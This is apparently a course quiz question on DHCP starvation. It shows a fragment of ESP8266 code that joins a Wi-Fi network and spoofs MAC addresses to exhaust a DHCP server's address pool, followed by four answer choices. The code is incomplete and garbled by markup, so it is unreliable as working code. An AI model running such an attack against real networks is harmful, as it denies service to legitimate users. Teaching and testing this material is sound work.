$[$DHCP Starvation Attack$]$

The following code can be used to convert a ESP$8266$ IoT device to a DHCP Starvation attacker. Please read and understand its logic, then select the true statements.

#include

const char$*$ ssid $=$ "CrackCYxxx";

const char$*$ password $=$ "Everyonecanbreakme";

void setup$()\{$

Serial.begin$(115200)$; delay$(200)$; Serial.println$()$; Serial.println$()$;

$//$ Without setting the STA mode, the AP's macaddr will be changed

WiFi.mode$($WIFI$\_$STA$)$;

uint$8\_$t mac$[6]$;

for $($size$\_$t i $=0$; i $<6$; $++$i$)\{$

mac$[0]=$ mac$[0]$ & ~$0$x$01$;

wifi$\_$set$\_$macaddr$($STATION$\_$IF$,$ &mac$[0])$; $//$ Using a random and fake MAC address to make the DHCP server think the request is from another machine

Group of answer choices

The Wi$-$Fi client device must know the Wi$-$Fi password before it can initiate a DHCP Request

The ESP$8266$ IoT device will work at the Wi$-$Fi AP$+$STA mode if we want it to conduct the DHCP Starvation attack.

The device will work as a Wi$-$Fi client device $($i$.$e$.,$ a Wi$-$Fi STA$)$

To trigger a new DHCP request and make it acceptable to the DHCP server, a new but different MAC address should be used in the$$DHCP$$request
